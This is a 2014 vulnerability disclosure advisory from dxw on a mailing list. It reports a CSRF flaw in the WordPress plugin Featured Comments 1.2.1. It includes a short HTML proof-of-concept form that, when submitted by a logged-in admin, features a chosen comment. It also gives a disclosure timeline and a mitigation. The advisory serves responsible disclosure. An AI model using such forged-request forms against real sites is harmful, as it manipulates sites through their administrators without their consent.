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Date: Tue, 10 Jun 2014 12:37:44 +0000
From: dxw Security <>
Subject: [FD] CSRF in Featured Comments 1.2.1 allows an attacker to set and
	unset comment statuses (WordPress plugin)

Software: Featured Comments
Version: 1.2.1
Advisory ID: dxw-2014-1360
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

CSRF in Featured Comments 1.2.1 allows an attacker to set and unset comment statuses

An attacker able to convince an admin to visit a link of their choosing is able to set/unset the buried/featured status of any comments.

Proof of concept
If a logged-in administrator user clicks the submit button on this form comment with ID of 9 will be featured. (In a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://localhost/wp-admin/admin-ajax.php?action=feature_comments\" method=\"POST\">
  <input type=\"text\" name=\"do\" value=\"feature\">
  <input type=\"text\" name=\"comment_id\" value=\"9\">
  <input type=\"submit\">

Disable the plugin until a fix is available.

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This vulnerability will be published if we do not receive a response to this report with 14 days.


2014-05-22: Discovered
2014-05-23: Email address for report requested via contact form at
2014-05-26: Author acknowledged report
2014-06-10: dxw chased to establish timeline for a fix

Discovered by dxw:
Tom Adams
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